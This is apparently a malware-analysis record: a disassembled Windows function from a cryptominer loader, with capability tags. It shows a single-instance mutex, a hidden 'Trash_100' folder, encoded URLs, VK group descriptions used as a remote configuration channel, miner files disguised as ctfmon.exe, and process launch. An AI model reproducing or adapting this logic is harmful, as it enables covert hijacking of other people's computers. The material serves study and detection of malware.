Function at 0x4097d0
Capabilities:
Check mutex on windows
Create directory
Create process on windows
Create thread
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1d74
call fcn.0041c150
mov eax, dword [0x431860]
xor eax, esp
mov dword [esp + 0x1d70], eax
movq xmm0, qword [str.67803182_70856039]
mov ax, word [0x42d180]
push ebx
push esi
push edi
push 0x2e
mov word [esp + 0x64], ax
movq qword [esp + 0x54], xmm0
movq xmm0, qword [0x42d178]
lea eax, [esp + 0x66]
push 0
push eax
movq qword [esp + 0x64], xmm0
call fcn.00411ca0
add esp, 0xc
lea eax, [esp + 0x91]
push 0x3f
push 0
push eax
mov byte [esp + 0x9c], 0
call fcn.00411ca0
add esp, 0xc
xorps xmm0, xmm0
push 0x400
push 0x434108
mov byte [esp + 0x48], 0
movq qword [esp + 0x49], xmm0
mov dword [esp + 0x51], 0
mov word [esp + 0x55], 0
mov byte [esp + 0x57], 0
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x40989c
mov eax, 0x666666
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1d70]
xor ecx, esp
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret 0x10
mov edx, str.Ahr0CdOVl3mXmdm5mtK2lti5nZC3lNbHlMLUzM9IB3GUCNuV
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4098a4
sub edx, ecx
push 0x40
push 0x4341a8
mov ecx, str.Ahr0CdOVl3mXmdm5mtK2lti5nZC3lNbHlMLUzM9IB3GUCNuV
call fcn.004056c0
mov edx, str.Ahr0CdOVl2HLBgXVywXLC2HHlNj1lNn3DgvZDc5YDs8
add esp, 8
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x4098d0
sub edx, ecx
push 0x40
push 0x434160
mov ecx, str.Ahr0CdOVl2HLBgXVywXLC2HHlNj1lNn3DgvZDc5YDs8
call fcn.004056c0
mov edx, str.ndyUmtyXlJaUodC
add esp, 8
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4098f5
sub edx, ecx
push 0x40
push 0x434120
mov ecx, str.ndyUmtyXlJaUodC
call fcn.004056c0
mov eax, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateMutexA]
add esp, 8
mov dword [0x4341a0], eax
push str.SamaelLovesMe
push 1
push 0
call ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, 0xb7
jne 0x409986
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x7d0
call edi
push str.SamaelLovesMe
push 1
push 0
call ebx
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x409986
push ebx
call esi
mov ecx, dword [esp + 0x1d7c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret 0x10
mov ecx, str.FirewallGUI.exe
call fcn.0040b320
test al, al
jne 0x40996d
push 0x104
lea edx, [esp + 0x474]
mov ecx, str.miner_exe_name
call fcn.004051d0
add esp, 4
test al, al
je 0x4099bd
lea ecx, [esp + 0x470]
call fcn.0040b220
push str.SystemDrive
call fcn.0040f1e6
mov al, byte [eax]
add esp, 4
mov byte [str.X:.Trash_100], al
push 0
push str.X:.Trash_100
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 2
push str.X:.Trash_100
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 4
mov edx, 0x432f68
mov ecx, str.version
call fcn.00404ff0
mov ecx, str.ActivateDesktop.exe
add esp, 4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409a07
sub ecx, edx
push ecx
mov edx, str.ActivateDesktop.exe
mov ecx, str.framework_exe
call fcn.00404ff0
add esp, 4
call fcn.00406be0
call fcn.00408d50
mov bl, byte [esp + 0xe]
mov bh, bl
push 0x1388
call edi
call fcn.0040aa70
test al, al
jne 0x409a54
mov edx, str.VK_didnt_answer._Retrying..._n
mov ecx, 0x433130
call fcn.00405410
jmp 0x409a33
push 0x40
lea edx, [esp + 0x94]
mov ecx, str.alter_sources
call fcn.004051d0
add esp, 4
test al, al
push 0x42d1b8
lea eax, [esp + 0x94]
jne 0x409a7e
lea eax, [esp + 0x54]
push eax
call fcn.0040ee59
mov esi, eax
add esp, 8
test esi, esi
je 0x409b50
mov edx, str.Verifying_source
mov ecx, 0x433130
call fcn.00405410
mov edx, esi
mov ecx, eax
call fcn.00405410
mov edx, 0x42cd9c
mov ecx, eax
call fcn.00405410
push str._method_groups.getById.xml_fieldsdescriptiongroup_ids
lea eax, [esp + 0xe4]
push 0x80
push eax
call fcn.0040e3a9
add esp, 0xc
lea eax, [esp + 0xd0]
push str.description
push 0x10
push eax
call fcn.0040e3a9
add esp, 0xc
lea eax, [esp + 0xd78]
push 0
push 0
push 0x1000
push eax
lea edx, [esp + 0xf0]
mov ecx, str.api.vk.com
call fcn.0040a2a0
add esp, 0x10
test al, al
je 0x409b28
lea eax, [esp + 0xd78]
push str.banned
push eax
call fcn.0040e880
add esp, 8
test eax, eax
jne 0x409b37
mov ecx, esi
call fcn.00408b50
test al, al
jne 0x409d5a
push 0x42d1b8
push 0
call fcn.0040ee59
mov esi, eax
add esp, 8
test esi, esi
jne 0x409a91
test bh, bh
je 0x409d87
push 0x100
lea edx, [esp + 0x374]
mov ecx, str.update_info
call fcn.004051d0
add esp, 4
lea edx, [esp + 0x578]
push 0x800
mov ecx, str.miners_info
call fcn.004051d0
add esp, 4
lea eax, [esp + 0x269]
push 0x103
push 0
push eax
mov byte [esp + 0x274], 0
call fcn.00411ca0
mov al, byte [0x42cf9c]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [esp + 0x28], al
xor eax, eax
push str.X:.Trash_100
mov dword [esp + 0x2d], eax
mov word [esp + 0x31], ax
mov byte [esp + 0x33], al
mov byte [esp + 0x34], al
mov dword [esp + 0x3d], eax
mov word [esp + 0x41], ax
mov byte [esp + 0x43], al
movq qword [esp + 0x24], xmm0
lea eax, [esp + 0x26c]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [esp + 0x3d], xmm0
call fcn.0040e3a9
add esp, 0xc
lea eax, [esp + 0x268]
push str.ctfmon.exe
push 0x104
push eax
call fcn.0040e681
lea edx, [esp + 0x2c]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x409c24
lea eax, [esp + 0x30]
sub edx, ecx
push 0x10
push eax
lea ecx, [esp + 0x28]
call fcn.004056c0
lea eax, [esp + 0x378]
push 0x432f68
push eax
call fcn.0040e880
lea ecx, [esp + 0x380]
add esp, 0x10
cmp eax, ecx
je 0x409d08
mov eax, ecx
push 0x42cd74
push eax
call fcn.0040e880
add esp, 8
lea ecx, [eax + 1]
lea edx, [esp + 0x268]
call fcn.0040ab40
test al, al
je 0x409d08
push ecx
lea edx, [esp + 0x34]
lea ecx, [esp + 0x26c]
call fcn.0040bb90
add esp, 4
test eax, eax
jne 0x409e45
push 0x40
push eax
lea eax, [esp + 0xec]
push eax
mov dword [esp + 0xec], 0x44
call fcn.00411ca0
add esp, 0xc
xor eax, eax
mov word [esp + 0x110], ax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0xe4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x288]
push eax
push 0
mov dword [esp + 0x134], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x409e40
test bl, bl
jne 0x409d37
push 0
push 0
push 0x405e40
call fcn.0040ecf7
add esp, 0xc
push 0
push 0
push 0x4091d0
call fcn.0040ecf7
mov byte [esp + 0x1a], 1
mov bl, byte [esp + 0x1a]
add esp, 0xc
lea eax, [esp + 0x578]
push eax
push 0
push 0x405f60
call fcn.0040ecf7
add esp, 0xc
push 0x927c0
call edi
jmp 0x409a33
mov edx, str.This_was_good_source_n
mov ecx, 0x433130
call fcn.00405410
push esi
lea eax, [esp + 0x44]
push 0x10
push eax
call fcn.0040e3a9
mov byte [esp + 0x1b], 1
mov bh, byte [esp + 0x1b]
add esp, 0xc
jmp 0x409b58
push 0x100
lea edx, [esp + 0x374]
mov ecx, str.update_info
call fcn.004051d0
add esp, 4
test al, al
je 0x409db4
xor dl, dl
lea ecx, [esp + 0x370]
call fcn.004089c0
jmp 0x409dbb
push 0x1388
call edi
push 0x432f68
lea eax, [esp + 0x164]
push 0x104
push eax
call fcn.0040e3a9
add esp, 0xc
lea eax, [esp + 0x160]
push 0x42cd74
push 0x104
push eax
call fcn.0040e681
lea ecx, [esp + 0x16c]
add esp, 0xc
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409e00
sub ecx, edx
mov esi, 0x104
mov eax, esi
sub eax, ecx
lea edx, [esp + 0x160]
add edx, ecx
push eax
mov ecx, str.backup_url
call fcn.004051d0
add esp, 4
test al, al
jne 0x409e6d
lea ecx, [esp + 0x160]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409e37
jmp 0x409e51
call fcn.00408910
push 0x3a98
call edi
call fcn.00408930
sub ecx, edx
push 0x4341a8
sub esi, ecx
lea eax, [esp + 0x164]
add eax, ecx
push esi
push eax
call fcn.0040e3a9
add esp, 0xc
push str.reserved.raum_update
lea eax, [esp + 0x164]
push 0x104
push eax
call fcn.0040e681
add esp, 0xc
xor dl, dl
lea ecx, [esp + 0x160]
call fcn.004089c0
call fcn.00408930
int3